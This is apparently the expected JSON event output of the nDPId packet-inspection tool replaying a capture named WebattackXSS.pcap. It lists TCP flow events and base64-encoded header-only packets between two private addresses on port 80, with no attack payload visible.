+00431{"flow_id":94,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1382,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347131,"pkt_ts_usec":648395,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0gdNAAEAGQgXAqAoyrBAAAQBQ0niyGNhSIi6jjIARAOP1VQAAAQEICgPjWYEBOYgL"} +00431{"flow_id":94,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1383,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347131,"pkt_ts_usec":649116,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ic9AAD4GpAmsEAABwKgKMtJ4AFAiLqOMshjYU4AQAOX1UwAAAQEICgE5iAsD41mB"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1387,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1499347132137,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53946,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1387,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347132,"pkt_ts_usec":137846,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8pedAAD4GH+msEAABwKgKMtK6AFAZEC1iAAAAAKACchC7yAAAAgQFtAQCCAoBOYiFAAAAAAEDAwc="} +00445{"flow_id":97,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1388,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347132,"pkt_ts_usec":137953,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0rps\/2\/vGRAtY6AScSCB2QAAAgQFtAQCCAoD41n8ATmIhQEDAwc="} +00432{"flow_id":97,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1390,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347132,"pkt_ts_usec":138802,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pehAAD4GH\/CsEAABwKgKMtK6AFAZEC1jbP9v8IAQAOUg4QAAAQEICgE5iIUD41n8"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1396,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1499347133434,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53960,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1396,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347133,"pkt_ts_usec":434215,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Et1AAD4GsvOsEAABwKgKMtLIAFBRGZsUAAAAAKACchAUuwAAAgQFtAQCCAoBOYnJAAAAAAEDAwc="} +00443{"flow_id":98,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1397,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347133,"pkt_ts_usec":434341,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0sgnZz2uURmbFaAScSBRYQAAAgQFtAQCCAoD41tAATmJyQEDAwc="} +00431{"flow_id":98,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1398,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347133,"pkt_ts_usec":435108,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Et5AAD4GsvqsEAABwKgKMtLIAFBRGZsVJ2c9r4AQAOXwaAAAAQEICgE5ickD41tA"} +00432{"flow_id":95,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1402,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347133,"pkt_ts_usec":648830,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03+tAAD4G5eysEAABwKgKMtKSAFBV0Vsiq2anGYARAOVDOgAAAQEICgE5if8D41Y\/"} +00433{"flow_id":95,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1403,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347133,"pkt_ts_usec":649025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0\/GxAAEAGx2vAqAoyrBAAAQBQ0pKrZqcZVdFbI4ARAOM+BQAAAQEICgPjW3UBOYn\/"} +00431{"flow_id":95,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1404,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347133,"pkt_ts_usec":649793,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03+xAAD4G5eusEAABwKgKMtKSAFBV0Vsjq2anGoAQAOU+AwAAAQEICgE5if8D41t1"} +00431{"flow_id":96,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1408,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347134,"pkt_ts_usec":649168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rtdAAD4GFwGsEAABwKgKMtKgAFDfKCjTPwQNQoARAOXwJQAAAQEICgE5ivkD41d9"} +00432{"flow_id":96,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1409,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347134,"pkt_ts_usec":649358,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0US1AAEAGcqvAqAoyrBAAAQBQ0qA\/BA1C3ygo1IARAOPrNAAAAQEICgPjXG8BOYr5"} +00431{"flow_id":96,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1410,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347134,"pkt_ts_usec":649963,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rthAAD4GFwCsEAABwKgKMtKgAFDfKCjUPwQNQ4AQAOXrMgAAAQEICgE5ivkD41xv"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1411,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1499347134702,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53974,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1411,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347134,"pkt_ts_usec":702778,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wYFAAD4GBE+sEAABwKgKMtLWAFCOukqHAAAAAKACchAmXAAAAgQFtAQCCAoBOYsGAAAAAAEDAwc="} +00443{"flow_id":99,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1412,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347134,"pkt_ts_usec":702931,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0tYST2RqjrpKiKAScSBQIQAAAgQFtAQCCAoD41x9ATmLBgEDAwc="} +00431{"flow_id":99,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1413,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347134,"pkt_ts_usec":703483,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wYJAAD4GBFasEAABwKgKMtLWAFCOukqIEk9ka4AQAOXvKAAAAQEICgE5iwYD41x9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1426,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1499347137239,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54000,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1426,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347137,"pkt_ts_usec":239586,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iNFAAD4GPP+sEAABwKgKMtLwAFB7ggVRAAAAAKACchB8NgAAAgQFtAQCCAoBOY2AAAAAAAEDAwc="} +00444{"flow_id":100,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347137,"pkt_ts_usec":239729,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0vDqtMDQe4IFUqAScSButQAAAgQFtAQCCAoD4173ATmNgAEDAwc="} +00432{"flow_id":100,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1428,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347137,"pkt_ts_usec":240483,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iNJAAD4GPQasEAABwKgKMtLwAFB7ggVS6rTA0YAQAOUNvAAAAQEICgE5jYED4173"} +00431{"flow_id":97,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1432,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347137,"pkt_ts_usec":650000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pelAAD4GH++sEAABwKgKMtK6AFAZEC1jbP9v8IARAOUbfgAAAQEICgE5jecD41n8"} +00433{"flow_id":97,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1433,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347137,"pkt_ts_usec":650234,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MK5AAEAGkyrAqAoyrBAAAQBQ0rps\/2\/wGRAtZIARAOMWHQAAAQEICgPjX14BOY3n"} +00431{"flow_id":97,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1434,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347137,"pkt_ts_usec":650808,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pepAAD4GH+6sEAABwKgKMtK6AFAZEC1kbP9v8YAQAOUWGwAAAQEICgE5jecD419e"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1438,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1499347138552,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54014,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1438,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347138,"pkt_ts_usec":552350,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8erdAAD4GSxmsEAABwKgKMtL+AFByz\/R+AAAAAKACchCUZAAAAgQFtAQCCAoBOY7JAAAAAAEDAwc="} +00446{"flow_id":101,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1439,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347138,"pkt_ts_usec":552477,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0v61vhLmcs\/0f6AScSBofAAAAgQFtAQCCAoD42A\/ATmOyQEDAwc="} +00435{"flow_id":101,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1440,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347138,"pkt_ts_usec":553246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0erhAAD4GSyCsEAABwKgKMtL+AFByz\/R\/tb4S54AQAOUHhAAAAQEICgE5jskD42A\/"} +00431{"flow_id":98,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1444,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347138,"pkt_ts_usec":650280,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Et9AAD4GsvmsEAABwKgKMtLIAFBRGZsVJ2c9r4ARAOXrTwAAAQEICgE5juED41tA"} +00431{"flow_id":98,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1445,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347138,"pkt_ts_usec":650598,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XfdAAEAGZeHAqAoyrBAAAQBQ0sgnZz2vURmbFoARAOPmOAAAAQEICgPjYFgBOY7h"} +00431{"flow_id":98,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1446,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347138,"pkt_ts_usec":651347,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EuBAAD4GsvisEAABwKgKMtLIAFBRGZsWJ2c9sIAQAOXmNgAAAQEICgE5juED42BY"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":6,"flow_first_seen":1499347065288,"flow_last_seen":1499347070631,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53246,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":6,"flow_first_seen":1499347065288,"flow_last_seen":1499347070631,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53246,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":6,"flow_first_seen":1499347066560,"flow_last_seen":1499347071631,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53260,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":6,"flow_first_seen":1499347066560,"flow_last_seen":1499347071631,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53260,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":6,"flow_first_seen":1499347069146,"flow_last_seen":1499347074630,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53286,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":6,"flow_first_seen":1499347069146,"flow_last_seen":1499347074630,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53286,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":6,"flow_first_seen":1499347070422,"flow_last_seen":1499347075631,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53300,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":6,"flow_first_seen":1499347070422,"flow_last_seen":1499347075631,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53300,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":6,"flow_first_seen":1499347071685,"flow_last_seen":1499347077632,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53314,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":6,"flow_first_seen":1499347071685,"flow_last_seen":1499347077632,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53314,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":6,"flow_first_seen":1499347074268,"flow_last_seen":1499347079633,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53340,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":6,"flow_first_seen":1499347074268,"flow_last_seen":1499347079633,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53340,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":6,"flow_first_seen":1499347075596,"flow_last_seen":1499347080634,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53354,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":6,"flow_first_seen":1499347075596,"flow_last_seen":1499347080634,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53354,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":99,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1454,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347140,"pkt_ts_usec":650975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wYNAAD4GBFWsEAABwKgKMtLWAFCOukqIEk9ka4ARAOXpWAAAAQEICgE5kNUD41x9"} +00431{"flow_id":99,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1455,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347140,"pkt_ts_usec":651206,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BidAAEAGvbHAqAoyrBAAAQBQ0tYST2RrjrpKiYARAOPjigAAAQEICgPjYkwBOZDV"} +00431{"flow_id":99,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1456,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347140,"pkt_ts_usec":651804,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wYRAAD4GBFSsEAABwKgKMtLWAFCOukqJEk9kbIAQAOXjhwAAAQEICgE5kNYD42JM"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1460,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1499347141111,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54040,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 